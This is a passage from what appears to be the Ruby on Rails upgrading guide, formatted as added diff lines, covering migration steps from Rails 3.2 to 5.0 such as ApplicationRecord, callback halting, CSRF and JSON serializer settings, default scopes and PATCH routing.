`ActiveSupport::HashWithIndifferentAccess`. + +It is only soft-deprecated, which means that your code will not break at the +moment and no deprecation warning will be displayed, but this constant will be +removed in the future. + +Also, if you have pretty old YAML documents containing dumps of such objects, +you may need to load and dump them again to make sure that they reference +the right constant, and that loading them won't break in the future. + +### `application.secrets` now loaded with all keys as symbols + +If your application stores nested configuration in `config/secrets.yml`, all keys +are now loaded as symbols, so access using strings should be changed. + +From: + +```ruby +Rails.application.secrets[:smtp_settings]["address"] +``` + +To: + +```ruby +Rails.application.secrets[:smtp_settings][:address] +``` + +Upgrading from Rails 4.2 to Rails 5.0 +------------------------------------- + +For more information on changes made to Rails 5.0 please see the [release notes](5_0_release_notes.html). + +### Ruby 2.2.2+ required + +From Ruby on Rails 5.0 onwards, Ruby 2.2.2+ is the only supported Ruby version. +Make sure you are on Ruby 2.2.2 version or greater, before you proceed. + +### Active Record Models Now Inherit from ApplicationRecord by Default + +In Rails 4.2, an Active Record model inherits from `ActiveRecord::Base`. In Rails 5.0, +all models inherit from `ApplicationRecord`. + +`ApplicationRecord` is a new superclass for all app models, analogous to app +controllers subclassing `ApplicationController` instead of +`ActionController::Base`. This gives apps a single spot to configure app-wide +model behavior. + +When upgrading from Rails 4.2 to Rails 5.0, you need to create an +`application_record.rb` file in `app/models/` and add the following content: + +``` +class ApplicationRecord < ActiveRecord::Base + self.abstract_class = true +end +``` + +Then make sure that all your models inherit from it. + +### Halting Callback Chains via `throw(:abort)` + +In Rails 4.2, when a 'before' callback returns `false` in Active Record +and Active Model, then the entire callback chain is halted. In other words, +successive 'before' callbacks are not executed, and neither is the action wrapped +in callbacks. + +In Rails 5.0, returning `false` in an Active Record or Active Model callback +will not have this side effect of halting the callback chain. Instead, callback +chains must be explicitly halted by calling `throw(:abort)`. + +When you upgrade from Rails 4.2 to Rails 5.0, returning `false` in those kind of +callbacks will still halt the callback chain, but you will receive a deprecation +warning about this upcoming change. + +When you are ready, you can opt into the new behavior and remove the deprecation +warning by adding the following configuration to your `config/application.rb`: + + ActiveSupport.halt_callback_chains_on_return_false = false + +Note that this option will not affect Active Support callbacks since they never +halted the chain when any value was returned. + +See [#17227](https://github.com/rails/rails/pull/17227) for more details. + +### ActiveJob Now Inherits from ApplicationJob by Default + +In Rails 4.2, an Active Job inherits from `ActiveJob::Base`. In Rails 5.0, this +behavior has changed to now inherit from `ApplicationJob`. + +When upgrading from Rails 4.2 to Rails 5.0, you need to create an +`application_job.rb` file in `app/jobs/` and add the following content: + +``` +class ApplicationJob < ActiveJob::Base +end +``` + +Then make sure that all your job classes inherit from it. + +See [#19034](https://github.com/rails/rails/pull/19034) for more details. + +### Rails Controller Testing + +#### Extraction of some helper methods to `rails-controller-testing` + +`assigns` and `assert_template` have been extracted to the `rails-controller-testing` gem. To +continue using these methods in your controller tests, add `gem 'rails-controller-testing'` to +your `Gemfile`. + +If you are using Rspec for testing, please see the extra configuration required in the gem's +documentation. + +#### New behavior when uploading files + +If you are using `ActionDispatch::Http::UploadedFile` in your tests to +upload files, you will need to change to use the similar `Rack::Test::UploadedFile` +class instead. + +See [#26404](https://github.com/rails/rails/issues/26404) for more details. + +### Autoloading is Disabled After Booting in the Production Environment + +Autoloading is now disabled after booting in the production environment by +default. + +Eager loading the application is part of the boot process, so top-level +constants are fine and are still autoloaded, no need to require their files. + +Constants in deeper places only executed at runtime, like regular method bodies, +are also fine because the file defining them will have been eager loaded while booting. + +For the vast majority of applications this change needs no action. But in the +very rare event that your application needs autoloading while running in +production mode, set `Rails.application.config.enable_dependency_loading` to +true. + +### XML Serialization + +`ActiveModel::Serializers::Xml` has been extracted from Rails to the `activemodel-serializers-xml` +gem. To continue using XML serialization in your application, add `gem 'activemodel-serializers-xml'` +to your `Gemfile`. + +### Removed Support for Legacy `mysql` Database Adapter + +Rails 5 removes support for the legacy `mysql` database adapter. Most users should be able to +use `mysql2` instead. It will be converted to a separate gem when we find someone to maintain +it. + +### Removed Support for Debugger + +`debugger` is not supported by Ruby 2.2 which is required by Rails 5. Use `byebug` instead. + +### Use `rails` for running tasks and tests + +Rails 5 adds the ability to run tasks and tests through `bin/rails` instead of rake. Generally +these changes are in parallel with rake, but some were ported over altogether. As the `rails` +command already looks for and runs `bin/rails`, we recommend you to use the shorter `rails` +over `bin/rails. + +To use the new test runner simply type `rails test`. + +`rake dev:cache` is now `rails dev:cache`. + +Run `rails` inside your application's directory to see the list of commands available. + +### `ActionController::Parameters` No Longer Inherits from `HashWithIndifferentAccess` + +Calling `params` in your application will now return an object instead of a hash. If your +parameters are already permitted, then you will not need to make any changes. If you are using `map` +and other methods that depend on being able to read the hash regardless of `permitted?` you will +need to upgrade your application to first permit and then convert to a hash. + + params.permit([:proceed_to, :return_to]).to_h + +### `protect_from_forgery` Now Defaults to `prepend: false` + +`protect_from_forgery` defaults to `prepend: false` which means that it will be inserted into +the callback chain at the point in which you call it in your application. If you want +`protect_from_forgery` to always run first, then you should change your application to use +`protect_from_forgery prepend: true`. + +### Default Template Handler is Now RAW + +Files without a template handler in their extension will be rendered using the raw handler. +Previously Rails would render files using the ERB template handler. + +If you do not want your file to be handled via the raw handler, you should add an extension +to your file that can be parsed by the appropriate template handler. + +### Added Wildcard Matching for Template Dependencies + +You can now use wildcard matching for your template dependencies. For example, if you were +defining your templates as such: + +```erb +<% # Template Dependency: recordings/threads/events/subscribers_changed %> +<% # Template Dependency: recordings/threads/events/completed %> +<% # Template Dependency: recordings/threads/events/uncompleted %> +``` + +You can now just call the dependency once with a wildcard. + +```erb +<% # Template Dependency: recordings/threads/events/* %> +``` + +### `ActionView::Helpers::RecordTagHelper` moved to external gem (record_tag_helper) + +`content_tag_for` and `div_for` have been removed in favor of just using `content_tag`. To continue using the older methods, add the `record_tag_helper` gem to your `Gemfile`: + +```ruby +gem 'record_tag_helper', '~> 1.0' +``` + +See [#18411](https://github.com/rails/rails/pull/18411) for more details. + +### Removed Support for `protected_attributes` Gem + +The `protected_attributes` gem is no longer supported in Rails 5. + +### Removed support for `activerecord-deprecated_finders` gem + +The `activerecord-deprecated_finders` gem is no longer supported in Rails 5. + +### `ActiveSupport::TestCase` Default Test Order is Now Random + +When tests are run in your application, the default order is now `:random` +instead of `:sorted`. Use the following config option to set it back to `:sorted`. + +```ruby +# config/environments/test.rb +Rails.application.configure do + config.active_support.test_order = :sorted +end +``` + +### `ActionController::Live` became a `Concern` + +If you include `ActionController::Live` in another module that is included in your controller, then you +should also extend the module with `ActiveSupport::Concern`. Alternatively, you can use the `self.included` hook +to include `ActionController::Live` directly to the controller once the `StreamingSupport` is included. + +This means that if your application used to have its own streaming module, the following code +would break in production mode: + +```ruby +# This is a work-around for streamed controllers performing authentication with Warden/Devise. +# See https://github.com/plataformatec/devise/issues/2332 +# Authenticating in the router is another solution as suggested in that issue +class StreamingSupport + include ActionController::Live # this won't work in production for Rails 5 + # extend ActiveSupport::Concern # unless you uncomment this line. + + def process(name) + super(name) + rescue ArgumentError => e + if e.message == 'uncaught throw :warden' + throw :warden + else + raise e + end + end +end +``` + +### New Framework Defaults + +#### Active Record `belongs_to` Required by Default Option + +`belongs_to` will now trigger a validation error by default if the association is not present. + +This can be turned off per-association with `optional: true`. + +This default will be automatically configured in new applications. If existing application +want to add this feature it will need to be turned on in an initializer. + + config.active_record.belongs_to_required_by_default = true + +#### Per-form CSRF Tokens + +Rails 5 now supports per-form CSRF tokens to mitigate against code-injection attacks with forms +created by JavaScript. With this option turned on, forms in your application will each have their +own CSRF token that is specific to the action and method for that form. + + config.action_controller.per_form_csrf_tokens = true + +#### Forgery Protection with Origin Check + +You can now configure your application to check if the HTTP `Origin` header should be checked +against the site's origin as an additional CSRF defense. Set the following in your config to +true: + + config.action_controller.forgery_protection_origin_check = true + +#### Allow Configuration of Action Mailer Queue Name + +The default mailer queue name is `mailers`. This configuration option allows you to globally change +the queue name. Set the following in your config: + + config.action_mailer.deliver_later_queue_name = :new_queue_name + +#### Support Fragment Caching in Action Mailer Views + +Set `config.action_mailer.perform_caching` in your config to determine whether your Action Mailer views +should support caching. + + config.action_mailer.perform_caching = true + +#### Configure the Output of `db:structure:dump` + +If you're using `schema_search_path` or other PostgreSQL extensions, you can control how the schema is +dumped. Set to `:all` to generate all dumps, or to `:schema_search_path` to generate from schema search path. + + config.active_record.dump_schemas = :all + +#### Configure SSL Options to Enable HSTS with Subdomains + +Set the following in your config to enable HSTS when using subdomains: + + config.ssl_options = { hsts: { subdomains: true } } + +#### Preserve Timezone of the Receiver + +When using Ruby 2.4, you can preserve the timezone of the receiver when calling `to_time`. + + ActiveSupport.to_time_preserves_timezone = false + +### Changes with JSON/JSONB serialization + +In Rails 5.0, how JSON/JSONB attributes are serialized and deserialized changed. Now, if +you set a column equal to a `String`, Active Record will no longer turn that string +into a `Hash`, and will instead only return the string. This is not limited to code +interacting with models, but also affects `:default` column settings in `db/schema.rb`. +It is recommended that you do not set columns equal to a `String`, but pass a `Hash` +instead, which will be converted to and from a JSON string automatically. + +Upgrading from Rails 4.1 to Rails 4.2 +------------------------------------- + +### Web Console + +First, add `gem 'web-console', '~> 2.0'` to the `:development` group in your `Gemfile` and run `bundle install` (it won't have been included when you upgraded Rails). Once it's been installed, you can simply drop a reference to the console helper (i.e., `<%= console %>`) into any view you want to enable it for. A console will also be provided on any error page you view in your development environment. + +### Responders + +`respond_with` and the class-level `respond_to` methods have been extracted to the `responders` gem. To use them, simply add `gem 'responders', '~> 2.0'` to your `Gemfile`. Calls to `respond_with` and `respond_to` (again, at the class level) will no longer work without having included the `responders` gem in your dependencies: + +```ruby +# app/controllers/users_controller.rb + +class UsersController < ApplicationController + respond_to :html, :json + + def show + @user = User.find(params[:id]) + respond_with @user + end +end +``` + +Instance-level `respond_to` is unaffected and does not require the additional gem: + +```ruby +# app/controllers/users_controller.rb + +class UsersController < ApplicationController + def show + @user = User.find(params[:id]) + respond_to do |format| + format.html + format.json { render json: @user } + end + end +end +``` + +See [#16526](https://github.com/rails/rails/pull/16526) for more details. + +### Error handling in transaction callbacks + +Currently, Active Record suppresses errors raised +within `after_rollback` or `after_commit` callbacks and only prints them to +the logs. In the next version, these errors will no longer be suppressed. +Instead, the errors will propagate normally just like in other Active +Record callbacks. + +When you define an `after_rollback` or `after_commit` callback, you +will receive a deprecation warning about this upcoming change. When +you are ready, you can opt into the new behavior and remove the +deprecation warning by adding following configuration to your +`config/application.rb`: + + config.active_record.raise_in_transactional_callbacks = true + +See [#14488](https://github.com/rails/rails/pull/14488) and +[#16537](https://github.com/rails/rails/pull/16537) for more details. + +### Ordering of test cases + +In Rails 5.0, test cases will be executed in random order by default. In +anticipation of this change, Rails 4.2 introduced a new configuration option +`active_support.test_order` for explicitly specifying the test ordering. This +allows you to either lock down the current behavior by setting the option to +`:sorted`, or opt into the future behavior by setting the option to `:random`. + +If you do not specify a value for this option, a deprecation warning will be +emitted. To avoid this, add the following line to your test environment: + +```ruby +# config/environments/test.rb +Rails.application.configure do + config.active_support.test_order = :sorted # or `:random` if you prefer +end +``` + +### Serialized attributes + +When using a custom coder (e.g. `serialize :metadata, JSON`), +assigning `nil` to a serialized attribute will save it to the database +as `NULL` instead of passing the `nil` value through the coder (e.g. `"null"` +when using the `JSON` coder). + +### Production log level + +In Rails 5, the default log level for the production environment will be changed +to `:debug` (from `:info`). To preserve the current default, add the following +line to your `production.rb`: + +```ruby +# Set to `:info` to match the current default, or set to `:debug` to opt-into +# the future default. +config.log_level = :info +``` + +### `after_bundle` in Rails templates + +If you have a Rails template that adds all the files in version control, it +fails to add the generated binstubs because it gets executed before Bundler: + +```ruby +# template.rb +generate(:scaffold, "person name:string") +route "root to: 'people#index'" +rake("db:migrate") + +git :init +git add: "." +git commit: %Q{ -m 'Initial commit' } +``` + +You can now wrap the `git` calls in an `after_bundle` block. It will be run +after the binstubs have been generated. + +```ruby +# template.rb +generate(:scaffold, "person name:string") +route "root to: 'people#index'" +rake("db:migrate") + +after_bundle do + git :init + git add: "." + git commit: %Q{ -m 'Initial commit' } +end +``` + +### Rails HTML Sanitizer + +There's a new choice for sanitizing HTML fragments in your applications. The +venerable html-scanner approach is now officially being deprecated in favor of +[`Rails HTML Sanitizer`](https://github.com/rails/rails-html-sanitizer). + +This means the methods `sanitize`, `sanitize_css`, `strip_tags` and +`strip_links` are backed by a new implementation. + +This new sanitizer uses [Loofah](https://github.com/flavorjones/loofah) internally. Loofah in turn uses Nokogiri, which +wraps XML parsers written in both C and Java, so sanitization should be faster +no matter which Ruby version you run. + +The new version updates `sanitize`, so it can take a `Loofah::Scrubber` for +powerful scrubbing. +[See some examples of scrubbers here](https://github.com/flavorjones/loofah#loofahscrubber). + +Two new scrubbers have also been added: `PermitScrubber` and `TargetScrubber`. +Read the [gem's readme](https://github.com/rails/rails-html-sanitizer) for more information. + +The documentation for `PermitScrubber` and `TargetScrubber` explains how you +can gain complete control over when and how elements should be stripped. + +If your application needs to use the old sanitizer implementation, include `rails-deprecated_sanitizer` in your `Gemfile`: + +```ruby +gem 'rails-deprecated_sanitizer' +``` + +### Rails DOM Testing + +The [`TagAssertions` module](http://api.rubyonrails.org/v4.1/classes/ActionDispatch/Assertions/TagAssertions.html) (containing methods such as `assert_tag`), [has been deprecated](https://github.com/rails/rails/blob/6061472b8c310158a2a2e8e9a6b81a1aef6b60fe/actionpack/lib/action_dispatch/testing/assertions/dom.rb) in favor of the `assert_select` methods from the `SelectorAssertions` module, which has been extracted into the [rails-dom-testing gem](https://github.com/rails/rails-dom-testing). + + +### Masked Authenticity Tokens + +In order to mitigate SSL attacks, `form_authenticity_token` is now masked so that it varies with each request. Thus, tokens are validated by unmasking and then decrypting. As a result, any strategies for verifying requests from non-rails forms that relied on a static session CSRF token have to take this into account. + +### Action Mailer + +Previously, calling a mailer method on a mailer class will result in the +corresponding instance method being executed directly. With the introduction of +Active Job and `#deliver_later`, this is no longer true. In Rails 4.2, the +invocation of the instance methods are deferred until either `deliver_now` or +`deliver_later` is called. For example: + +```ruby +class Notifier < ActionMailer::Base + def notify(user, ...) + puts "Called" + mail(to: user.email, ...) + end +end + +mail = Notifier.notify(user, ...) # Notifier#notify is not yet called at this point +mail = mail.deliver_now # Prints "Called" +``` + +This should not result in any noticeable differences for most applications. +However, if you need some non-mailer methods to be executed synchronously, and +you were previously relying on the synchronous proxying behavior, you should +define them as class methods on the mailer class directly: + +```ruby +class Notifier < ActionMailer::Base + def self.broadcast_notifications(users, ...) + users.each { |user| Notifier.notify(user, ...) } + end +end +``` + +### Foreign Key Support + +The migration DSL has been expanded to support foreign key definitions. If +you've been using the Foreigner gem, you might want to consider removing it. +Note that the foreign key support of Rails is a subset of Foreigner. This means +that not every Foreigner definition can be fully replaced by its Rails +migration DSL counterpart. + +The migration procedure is as follows: + +1. remove `gem "foreigner"` from the `Gemfile`. +2. run `bundle install`. +3. run `bin/rake db:schema:dump`. +4. make sure that `db/schema.rb` contains every foreign key definition with +the necessary options. + +Upgrading from Rails 4.0 to Rails 4.1 +------------------------------------- + +### CSRF protection from remote `<script>` tags + +Or, "whaaat my tests are failing!!!?" or "my `<script>` widget is busted!!" + +Cross-site request forgery (CSRF) protection now covers GET requests with +JavaScript responses, too. This prevents a third-party site from remotely +referencing your JavaScript with a `<script>` tag to extract sensitive data. + +This means that your functional and integration tests that use + +```ruby +get :index, format: :js +``` + +will now trigger CSRF protection. Switch to + +```ruby +xhr :get, :index, format: :js +``` + +to explicitly test an `XmlHttpRequest`. + +NOTE: Your own `<script>` tags are treated as cross-origin and blocked by +default, too. If you really mean to load JavaScript from `<script>` tags, +you must now explicitly skip CSRF protection on those actions. + +### Spring + +If you want to use Spring as your application preloader you need to: + +1. Add `gem 'spring', group: :development` to your `Gemfile`. +2. Install spring using `bundle install`. +3. Springify your binstubs with `bundle exec spring binstub --all`. + +NOTE: User defined rake tasks will run in the `development` environment by +default. If you want them to run in other environments consult the +[Spring README](https://github.com/rails/spring#rake). + +### `config/secrets.yml` + +If you want to use the new `secrets.yml` convention to store your application's +secrets, you need to: + +1. Create a `secrets.yml` file in your `config` folder with the following content: + + ```yaml + development: + secret_key_base: + + test: + secret_key_base: + + production: + secret_key_base: <%= ENV["SECRET_KEY_BASE"] %> + ``` + +2. Use your existing `secret_key_base` from the `secret_token.rb` initializer to + set the SECRET_KEY_BASE environment variable for whichever users running the + Rails application in production mode. Alternatively, you can simply copy the existing + `secret_key_base` from the `secret_token.rb` initializer to `secrets.yml` + under the `production` section, replacing '<%= ENV["SECRET_KEY_BASE"] %>'. + +3. Remove the `secret_token.rb` initializer. + +4. Use `rake secret` to generate new keys for the `development` and `test` sections. + +5. Restart your server. + +### Changes to test helper + +If your test helper contains a call to +`ActiveRecord::Migration.check_pending!` this can be removed. The check +is now done automatically when you `require 'rails/test_help'`, although +leaving this line in your helper is not harmful in any way. + +### Cookies serializer + +Applications created before Rails 4.1 uses `Marshal` to serialize cookie values into +the signed and encrypted cookie jars. If you want to use the new `JSON`-based format +in your application, you can add an initializer file with the following content: + +```ruby +Rails.application.config.action_dispatch.cookies_serializer = :hybrid +``` + +This would transparently migrate your existing `Marshal`-serialized cookies into the +new `JSON`-based format. + +When using the `:json` or `:hybrid` serializer, you should beware that not all +Ruby objects can be serialized as JSON. For example, `Date` and `Time` objects +will be serialized as strings, and `Hash`es will have their keys stringified. + +```ruby +class CookiesController < ApplicationController + def set_cookie + cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014 + redirect_to action: 'read_cookie' + end + + def read_cookie + cookies.encrypted[:expiration_date] # => "2014-03-20" + end +end +``` + +It's advisable that you only store simple data (strings and numbers) in cookies. +If you have to store complex objects, you would need to handle the conversion +manually when reading the values on subsequent requests. + +If you use the cookie session store, this would apply to the `session` and +`flash` hash as well. + +### Flash structure changes + +Flash message keys are +[normalized to strings](https://github.com/rails/rails/commit/a668beffd64106a1e1fedb71cc25eaaa11baf0c1). They +can still be accessed using either symbols or strings. Looping through the flash +will always yield string keys: + +```ruby +flash["string"] = "a string" +flash[:symbol] = "a symbol" + +# Rails < 4.1 +flash.keys # => ["string", :symbol] + +# Rails >= 4.1 +flash.keys # => ["string", "symbol"] +``` + +Make sure you are comparing Flash message keys against strings. + +### Changes in JSON handling + +There are a few major changes related to JSON handling in Rails 4.1. + +#### MultiJSON removal + +MultiJSON has reached its [end-of-life](https://github.com/rails/rails/pull/10576) +and has been removed from Rails. + +If your application currently depends on MultiJSON directly, you have a few options: + +1. Add 'multi_json' to your `Gemfile`. Note that this might cease to work in the future + +2. Migrate away from MultiJSON by using `obj.to_json`, and `JSON.parse(str)` instead. + +WARNING: Do not simply replace `MultiJson.dump` and `MultiJson.load` with +`JSON.dump` and `JSON.load`. These JSON gem APIs are meant for serializing and +deserializing arbitrary Ruby objects and are generally [unsafe](http://www.ruby-doc.org/stdlib-2.2.2/libdoc/json/rdoc/JSON.html#method-i-load). + +#### JSON gem compatibility + +Historically, Rails had some compatibility issues with the JSON gem. Using +`JSON.generate` and `JSON.dump` inside a Rails application could produce +unexpected errors. + +Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The +JSON gem APIs will function as normal, but they will not have access to any +Rails-specific features. For example: + +```ruby +class FooBar + def as_json(options = nil) + { foo: 'bar' } + end +end + +>> FooBar.new.to_json # => "{\"foo\":\"bar\"}" +>> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar:0x007fa80a481610>\"" +``` + +#### New JSON encoder + +The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON +gem. For most applications, this should be a transparent change. However, as +part of the rewrite, the following features have been removed from the encoder: + +1. Circular data structure detection +2. Support for the `encode_json` hook +3. Option to encode `BigDecimal` objects as numbers instead of strings + +If your application depends on one of these features, you can get them back by +adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder) +gem to your `Gemfile`. + +#### JSON representation of Time objects + +`#as_json` for objects with time component (`Time`, `DateTime`, `ActiveSupport::TimeWithZone`) +now returns millisecond precision by default. If you need to keep old behavior with no millisecond +precision, set the following in an initializer: + +``` +ActiveSupport::JSON::Encoding.time_precision = 0 +``` + +### Usage of `return` within inline callback blocks + +Previously, Rails allowed inline callback blocks to use `return` this way: + +```ruby +class ReadOnlyModel < ActiveRecord::Base + before_save { return false } # BAD +end +``` + +This behavior was never intentionally supported. Due to a change in the internals +of `ActiveSupport::Callbacks`, this is no longer allowed in Rails 4.1. Using a +`return` statement in an inline callback block causes a `LocalJumpError` to +be raised when the callback is executed. + +Inline callback blocks using `return` can be refactored to evaluate to the +returned value: + +```ruby +class ReadOnlyModel < ActiveRecord::Base + before_save { false } # GOOD +end +``` + +Alternatively, if `return` is preferred it is recommended to explicitly define +a method: + +```ruby +class ReadOnlyModel < ActiveRecord::Base + before_save :before_save_callback # GOOD + + private + def before_save_callback + return false + end +end +``` + +This change applies to most places in Rails where callbacks are used, including +Active Record and Active Model callbacks, as well as filters in Action +Controller (e.g. `before_action`). + +See [this pull request](https://github.com/rails/rails/pull/13271) for more +details. + +### Methods defined in Active Record fixtures + +Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods +defined in a fixture will not be available in other fixtures. + +Helper methods that are used in multiple fixtures should be defined on modules +included in the newly introduced `ActiveRecord::FixtureSet.context_class`, in +`test_helper.rb`. + +```ruby +module FixtureFileHelpers + def file_sha(path) + Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path))) + end +end +ActiveRecord::FixtureSet.context_class.include FixtureFileHelpers +``` + +### I18n enforcing available locales + +Rails 4.1 now defaults the I18n option `enforce_available_locales` to `true`. This +means that it will make sure that all locales passed to it must be declared in +the `available_locales` list. + +To disable it (and allow I18n to accept *any* locale option) add the following +configuration to your application: + +```ruby +config.i18n.enforce_available_locales = false +``` + +Note that this option was added as a security measure, to ensure user input +cannot be used as locale information unless it is previously known. Therefore, +it's recommended not to disable this option unless you have a strong reason for +doing so. + +### Mutator methods called on Relation + +`Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert +to an `Array` by calling `#to_a` before using these methods. + +It intends to prevent odd bugs and confusion in code that call mutator +methods directly on the `Relation`. + +```ruby +# Instead of this +Author.where(name: 'Hank Moody').compact! + +# Now you have to do this +authors = Author.where(name: 'Hank Moody').to_a +authors.compact! +``` + +### Changes on Default Scopes + +Default scopes are no longer overridden by chained conditions. + +In previous versions when you defined a `default_scope` in a model +it was overridden by chained conditions in the same field. Now it +is merged like any other scope. + +Before: + +```ruby +class User < ActiveRecord::Base + default_scope { where state: 'pending' } + scope :active, -> { where state: 'active' } + scope :inactive, -> { where state: 'inactive' } +end + +User.all +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' + +User.active +# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' + +User.where(state: 'inactive') +# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive' +``` + +After: + +```ruby +class User < ActiveRecord::Base + default_scope { where state: 'pending' } + scope :active, -> { where state: 'active' } + scope :inactive, -> { where state: 'inactive' } +end + +User.all +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' + +User.active +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active' + +User.where(state: 'inactive') +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive' +``` + +To get the previous behavior it is needed to explicitly remove the +`default_scope` condition using `unscoped`, `unscope`, `rewhere` or +`except`. + +```ruby +class User < ActiveRecord::Base + default_scope { where state: 'pending' } + scope :active, -> { unscope(where: :state).where(state: 'active') } + scope :inactive, -> { rewhere state: 'inactive' } +end + +User.all +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' + +User.active +# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' + +User.inactive +# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive' +``` + +### Rendering content from string + +Rails 4.1 introduces `:plain`, `:html`, and `:body` options to `render`. Those +options are now the preferred way to render string-based content, as it allows +you to specify which content type you want the response sent as. + +* `render :plain` will set the content type to `text/plain` +* `render :html` will set the content type to `text/html` +* `render :body` will *not* set the content type header. + +From the security standpoint, if you don't expect to have any markup in your +response body, you should be using `render :plain` as most browsers will escape +unsafe content in the response for you. + +We will be deprecating the use of `render :text` in a future version. So please +start using the more precise `:plain`, `:html`, and `:body` options instead. +Using `render :text` may pose a security risk, as the content is sent as +`text/html`. + +### PostgreSQL json and hstore datatypes + +Rails 4.1 will map `json` and `hstore` columns to a string-keyed Ruby `Hash`. +In earlier versions, a `HashWithIndifferentAccess` was used. This means that +symbol access is no longer supported. This is also the case for +`store_accessors` based on top of `json` or `hstore` columns. Make sure to use +string keys consistently. + +### Explicit block use for `ActiveSupport::Callbacks` + +Rails 4.1 now expects an explicit block to be passed when calling +`ActiveSupport::Callbacks.set_callback`. This change stems from +`ActiveSupport::Callbacks` being largely rewritten for the 4.1 release. + +```ruby +# Previously in Rails 4.0 +set_callback :save, :around, ->(r, &block) { stuff; result = block.call; stuff } + +# Now in Rails 4.1 +set_callback :save, :around, ->(r, block) { stuff; result = block.call; stuff } +``` + +Upgrading from Rails 3.2 to Rails 4.0 +------------------------------------- + +If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0. + +The following changes are meant for upgrading your application to Rails 4.0. + +### HTTP PATCH + +Rails 4 now uses `PATCH` as the primary HTTP verb for updates when a RESTful +resource is declared in `config/routes.rb`. The `update` action is still used, +and `PUT` requests will continue to be routed to the `update` action as well. +So, if you're using only the standard RESTful routes, no changes need to be made: + +```ruby +resources :users +``` + +```erb +<%= form_for @user do |f| %> +``` + +```ruby +class UsersController < ApplicationController + def update + # No change needed; PATCH will be preferred, and PUT will still work. + end +end +``` + +However, you will need to make a change if you are using `form_for` to update +a resource in conjunction with a custom route using the `PUT` HTTP method: + +```ruby +resources :users, do + put :update_name, on: :member +end +``` + +```erb +<%= form_for [ :update_name, @user ] do |f| %> +``` + +```ruby +class UsersController < ApplicationController + def update_name + # Change needed; form_for will try to use a non-existent PATCH route. + end +end +``` + +If the action is not being used in a public API and you are free to change the +HTTP method, you can update your route to use `patch` instead of `put`: + +`PUT` requests to `/users/:id` in Rails 4 get routed to `update` as they are +today. So, if you have an API that gets real PUT requests it is going to work. +The router also routes `PATCH` requests to `/users/:id` to the `update` action. + +```ruby +resources :users do + patch :update_name, on: :member +end +``` + +If the action is being used in a public API and you can't change to HTTP method +being used, you can update your form to use the `PUT` method instead: + +```erb +<%= form_for [ :update_name, @user ], method: :put do |f| %> +``` + +For more on PATCH and why this change was made, see [this post](https://weblog.rubyonrails.org/2012/2/26/edge-rails-patch-is-the-new-primary-http-method-for-updates/) +on the Rails blog. + +#### A note about media types + +The errata for the `PATCH` verb [specifies that a 'diff' media type should be +used with `PATCH`](http://www.rfc-editor.org/errata_search.php?rfc=5789). One +such format is [JSON Patch](https://tools.ietf.org/html/rfc6902). While Rails +does not support JSON Patch natively, it's easy enough to add support: + +``` +# in your controller +def update + respond_to do |format| + format.json do + # perform a partial update + @article.update params[:article] + end + + format.json_patch do + # perform sophisticated change + end + end +end + +# In config/initializers/json_patch.rb: +Mime::Type.register 'application/json-patch+json', :json_patch +``` + +As JSON Patch was only recently made into an RFC, there aren't a lot of great +Ruby libraries yet. Aaron Patterson's +[hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have +full support for the last few changes in the specification. + +### Gemfile + +Rails 4.0 removed the `assets` group from `Gemfile`. You'd need to remove that +line from your `Gemfile` when upgrading. You should also update your application +file (in `config/application.rb`): + +```ruby +# Require the gems listed in Gemfile, including any gems +# you've limited to :test, :development, or :production. +Bundler.require(*Rails.groups) +``` + +### vendor/plugins + +Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must replace any plugins by extracting them to gems and adding them to your `Gemfile`. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`. + +### Active Record + +* Rails 4.0 has removed the identity map from Active Record, due to [some inconsistencies with associations](https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6). If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: `config.active_record.identity_map`. + +* The `delete` method in collection associations can now receive `Integer` or `String` arguments as record ids, besides records, pretty much like the `destroy` method does. Previously it raised `ActiveRecord::AssociationTypeMismatch` for such arguments. From Rails 4.0 on `delete` automatically tries to find the records matching the given ids before deleting them. + +* In Rails 4.0 when a column or a table is renamed the related indexes are also renamed. If you have migrations which rename the indexes, they are no longer needed. + +* Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. You shouldn't use instance methods since it's now deprecated. You should change them to use class methods, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`. + +* When using the default coder, assigning `nil` to a serialized attribute will save it +to the database as `NULL` instead of passing the `nil` value through YAML (`"--- \n...\n"`). + +* Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) for a smooth upgrade path. + +* If you are not using Protected Attributes, you can remove any options related to +this gem such as `whitelist_attributes` or `mass_assignment_sanitizer` options. + +* Rails 4.0 requires that scopes use a callable object such as a Proc or lambda: + +```ruby + scope :active, where(active: true) + + # becomes + scope :active, -> { where active: true } +``` + +* Rails 4.0 has deprecated `ActiveRecord::Fixtures` in favor of `ActiveRecord::FixtureSet`. + +* Rails 4.0 has deprecated `ActiveRecord::TestCase` in favor of `ActiveSupport::TestCase`. + +* Rails 4.0 has deprecated the old-style hash based finder API. This means that + methods which previously accepted "finder options" no longer do. For example, `Book.find(:all, conditions: { name: '1984' })` has been deprecated in favor of `Book.where(name: '1984')` + +* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. + Here's how you 